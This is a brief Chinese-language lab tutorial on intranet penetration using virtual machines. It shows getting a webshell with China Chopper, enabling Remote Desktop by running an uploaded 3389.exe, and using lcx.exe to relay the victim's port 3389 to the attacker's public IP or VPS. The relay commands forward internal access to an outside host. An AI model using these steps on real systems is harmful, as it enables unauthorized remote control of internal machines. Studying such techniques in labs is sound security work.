内网渗透初探

内网渗透

一、内网远程连接：

1.通过lcx工具解决内网远程连接:

实验：通过lcx进行内网远程连接：

虚拟机：windows2003 * 2  主机：win10 * 1

虚拟机ip：192.168.1.6 or 172.16.0.2   主机ip：192.168.1.2

                172.16.0.3

先通过这种手段，拿到webshell这里我们使用菜刀,先通过菜刀拿到webshell，如下图：

然后进入虚拟终端，查看目标机是否开启3389：

若未开启3389则可以通过菜刀传一个开启文件，进而开启3389：

进入虚拟终端：C:\phpstudy\WWW\> cd C:\phpstudy\WWW\（文件上传的位置）

                       C:\phpstudy\WWW\> 3389.exe

然后在查看是否开启3389：

然后把lcx.exe上传到一个可写，可执行的目录：

Webshell上执行：lcx.exe -slave 自己的公网ip 2222 127.0.0.1 3389 （将本机3389端口流量转发到公网ip的2222端口上去）

自己的电脑（VPS）里面执行：lcx.exe -listen 2222 4444 （监听本地的2222端口将流量转发到4444 ）

命令执行成功后，在本机打开远程连接，连接127.0.0.1:4444端口